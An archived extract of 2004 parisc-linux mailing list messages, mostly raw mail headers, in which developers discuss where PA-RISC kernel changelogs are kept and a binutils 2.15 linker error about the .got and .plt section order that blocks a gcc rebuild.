List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24840



Jean-marc Harang wrote:
> Hello,	
> 
> I have a little question :
> 
> where are the changelogs files for PA kernels ?
> 
> I couldn't find them at http://cvs.parisc-linux.org/ :(
> 
> thanks,
> 
> jean-marc
> 
Well noticed, anyway at <http://parisc-linux.org/mailing-lists/index.html>
you can find mention that:
"
[snip]
parisc-linux-cvs [archive]

     A separate mailing exists for CVS as a read-only means for keeping track of revisions.

     To subscribe, please mail parisc-linux-cvs-request@lists.parisc-linux.org with the subject subscribe or use the web interface.
[snip]
"

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils 2.15?
Date: Sun, 13 Jun 2004 13:39:28 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <40BDA020000074B9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624452 25446 80.91.229.3 (22 Nov 2014 02:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25408 invoked by uid 65534); 13 Jun 2004 13:40:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 13 Jun 2004 15:40:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 35AE93BE25; Sun, 13 Jun 2004 07:40:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07294-01; Sun, 13 Jun 2004 07:40:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 74B993BE26; Sun, 13 Jun 2004 07:39:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B4E83BE24
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 07:39:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07119-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 07:39:32 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D66533BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 07:39:31 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 43B37494678; Sun, 13 Jun 2004 07:39:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 9EBE8494677
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 07:39:30 -0600 (MDT)
Original-Received: from [83.134.223.109] by mail.tiscali.be with HTTP;
	Sun, 13 Jun 2004 15:39:28 +0200
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24841

Hi all,

I read that now many arch try to update their toolchain to a new release;=

I so try to rebuild toolchain starting from binutils-2.15 (.0.91... from
ftp.kernel.org)
it build well but when I launch to rebuild gcc with those new binutil con=
figure
crashes immediately with:
"/usr/bin/ld: .got section not immediately after .plt section"

What do I mess and forget?

TIA,
    Joel


-------------------------------------------------------------------------=
---------------
Tiscali ADSL, 27,50 =80/mois...pendant 6 mois. 
La meilleure offre du march=E9 !
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 2.15?
Date: Mon, 14 Jun 2004 00:09:16 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200406140409.i5E49HYi003897__6877.78140786595$1416624453$gmane$org@hiauly1.hia.nrc.ca>
References: <40BDA020000074B9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624453 25452 80.91.229.3 (22 Nov 2014 02:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:33 +0000 (UTC)
Cc: jakub@redhat.com,
 binutils@sources.redhat.com,
 parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6272 invoked by uid 65534); 14 Jun 2004 04:10:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 14 Jun 2004 06:10:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3D1483BE04; Sun, 13 Jun 2004 22:10:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15044-02; Sun, 13 Jun 2004 22:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 596873BDEE; Sun, 13 Jun 2004 22:09:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D39983BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 22:09:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14096-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 22:09:23 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D4E2D3BDE1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 22:09:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4B88A494677; Sun, 13 Jun 2004 22:09:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 9D80E4942B6
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 22:09:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5E49ICp003898; Mon, 14 Jun 2004 00:09:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5E49HYi003897;
	Mon, 14 Jun 2004 00:09:17 -0400 (EDT)
In-Reply-To: <40BDA020000074B9@ocpmta3.freegates.net> from "Joel Soete" at Jun
	13, 2004 01:39:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24842

> I read that now many arch try to update their toolchain to a new release;
> I so try to rebuild toolchain starting from binutils-2.15 (.0.91... from
> ftp.kernel.org)
> it build well but when I launch to rebuild gcc with those new binutil configure
> crashes immediately with:
> "/usr/bin/ld: .got section not immediately after .plt section"

The following change appears to have introduced this problem:

CVSROOT:        /cvs/src
Module name:    src
Changes by:     jakub@sourceware.org    2004-05-11 17:08:32

Modified files:
	bfd            : ChangeLog 
	include        : ChangeLog 
	binutils       : ChangeLog 

Log message:
	bfd/
	* elflink.c (elf_bfd_final_link): Don't output STT_SECTION symbol
	into .dynsym if elf_section_data (sec)->dynindx <= 0.
	Adjust counting of last_local.
	(_bfd_elf_link_renumber_dynsyms): Don't assign dynindx to sections
	other than SHT_PROGBITS/SHT_NOBITS and neither for .got/.got.plt/.plt
	created by the linker nor !SHF_ALLOC.
										
	* elf32-i386.c (elf_i386_finish_dynamic_sections): Point
	DT_PLTGOT to the start of the .got.plt section instead of the
	.got output section.  Set sh_entsize for .got section in addition
	to .got.plt.
	...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jakub Jelinek <jakub@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 2.15?
Date: Mon, 14 Jun 2004 05:25:20 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20040614032519.GS5191__7507.91328396208$1416624453$gmane$org@sunsite.ms.mff.cuni.cz>
References: <40BDA020000074B9@ocpmta3.freegates.net>
	<200406140409.i5E49HYi003897@hiauly1.hia.nrc.ca>
Reply-To: Jakub Jelinek <jakub@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624453 25455 80.91.229.3 (22 Nov 2014 02:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:33 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8489 invoked by uid 65534); 14 Jun 2004 05:40:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 14 Jun 2004 07:40:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 79B2F3BDEE; Sun, 13 Jun 2004 23:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15798-04; Sun, 13 Jun 2004 23:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9B3073BDF1; Sun, 13 Jun 2004 23:39:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1599F3BDEC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 23:39:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15506-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 23:39:44 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E123D3BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 23:39:43 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6439E494677; Sun, 13 Jun 2004 23:39:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sunsite.ms.mff.cuni.cz (sunsite.ms.mff.cuni.cz [195.113.15.26])
	by palinux.hppa (Postfix) with ESMTP id 55DC64942B6
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 23:39:42 -0600 (MDT)
Original-Received: from sunsite.ms.mff.cuni.cz (sunsite.mff.cuni.cz [127.0.0.1])
	by sunsite.ms.mff.cuni.cz (8.12.8/8.12.8) with ESMTP id i5E3PK3j004258; 
	Mon, 14 Jun 2004 05:25:20 +0200
Original-Received: (from jakub@localhost)
	by sunsite.ms.mff.cuni.cz (8.12.8/8.12.8/Submit) id i5E3PKFB004250;
	Mon, 14 Jun 2004 05:25:20 +0200
Content-Disposition: inline
In-Reply-To: <200406140409.i5E49HYi003897@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24843

On Mon, Jun 14, 2004 at 12:09:16AM -0400, John David Anglin wrote:
> > I read that now many arch try to update their toolchain to a new release;
> > I so try to rebuild toolchain starting from binutils-2.15 (.0.91... from
> > ftp.kernel.org)
> > it build well but when I launch to rebuild gcc with those new binutil configure
> > crashes immediately with:
> > "/usr/bin/ld: .got section not immediately after .plt section"
> 
> The following change appears to have introduced this problem:

First of all, can you explain why hppa needs .got after .plt?

	Jakub
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc2.3.3 & gcc-3.5 (aka debian snapshot) new pb
Date: Mon, 14 Jun 2004 13:45:41 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040614174541.GS29203@baldric.uwo.ca>
References: <40BD9F0500004FF7@ocpmta1.freegates.net>
	<40BD9F0500004FFB@ocpmta1.freegates.net>
	<20040609190711.GI10321@baldric.uwo.ca> <40CC246E.50700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624453 25458 80.91.229.3 (22 Nov 2014 02:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20016 invoked by uid 65534); 14 Jun 2004 17:47:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 14 Jun 2004 19:47:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 18EAE3BE07; Mon, 14 Jun 2004 11:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22157-06; Mon, 14 Jun 2004 11:46:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7B4353BDFD; Mon, 14 Jun 2004 11:46:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FC2B3BDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 11:46:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22157-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 11:46:24 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 03CE13BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 11:46:23 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 86E0E49467A; Mon, 14 Jun 2004 11:46:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 235664942B6
	for <parisc-linux@parisc-linux.org>;
	Mon, 14 Jun 2004 11:46:21 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BZvWg-0007Xm-00; Mon, 14 Jun 2004 13:45:42 -0400
Content-Disposition: inline
In-Reply-To: <40CC246E.50700@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (23% Sync Ratio [==........])
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24844

> >Are you just trying to ping to see if this thing builds with gcc-3.5?
> >
> It could be a point of view ;)
> 
> For my part it's just to continue investigation started some time ago.
> Does it mean that it's useless for the moment?

It's not useless, but it's a difficult problem. Eventually we have to
have it working, but just building and saying "it doesn't build" is only
the first step :(

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 2.15?
Date: Mon, 14 Jun 2004 21:38:20 +0930
Lines: 20
Approved: news@gmane.org
Message-ID: <20040614120820.GG28716__39080.105131916$1416624454$gmane$org@bubble.modra.org>
References: <40BDA020000074B9@ocpmta3.freegates.net>
	<200406140409.i5E49HYi003897@hiauly1.hia.nrc.ca>
	<20040614032519.GS5191@sunsite.ms.mff.cuni.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624454 25462 80.91.229.3 (22 Nov 2014 02:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:34 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 parisc-linux@parisc-linux.org
To: Jakub Jelinek <jakub@redhat.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15884 invoked by uid 65534); 14 Jun 2004 12:09:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 14 Jun 2004 14:09:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B6DB03BDF3; Mon, 14 Jun 2004 06:09:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17188-10; Mon, 14 Jun 2004 06:09:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 40A823BDF5; Mon, 14 Jun 2004 06:08:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 643E03BDEF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 06:08:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17188-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 06:08:28 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BE573BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 06:08:28 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 93C91494678; Mon, 14 Jun 2004 06:08:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from modra.org (CPE-144-136-182-188.sa.bigpond.net.au
	[144.136.182.188])
	by palinux.hppa (Postfix) with ESMTP id D451D4942B6
	for <parisc-linux@parisc-linux.org>;
	Mon, 14 Jun 2004 06:08:26 -0600 (MDT)
Original-Received: by bubble.modra.org (Postfix, from userid 500)
	id 1D5A2F9591; Mon, 14 Jun 2004 21:38:20 +0930 (CST)
Mail-Followup-To: Jakub Jelinek <jakub@redhat.com>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org,
	binutils@sources.redhat.com
Content-Disposition: inline
In-Reply-To: <20040614032519.GS5191@sunsite.ms.mff.cuni.cz>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
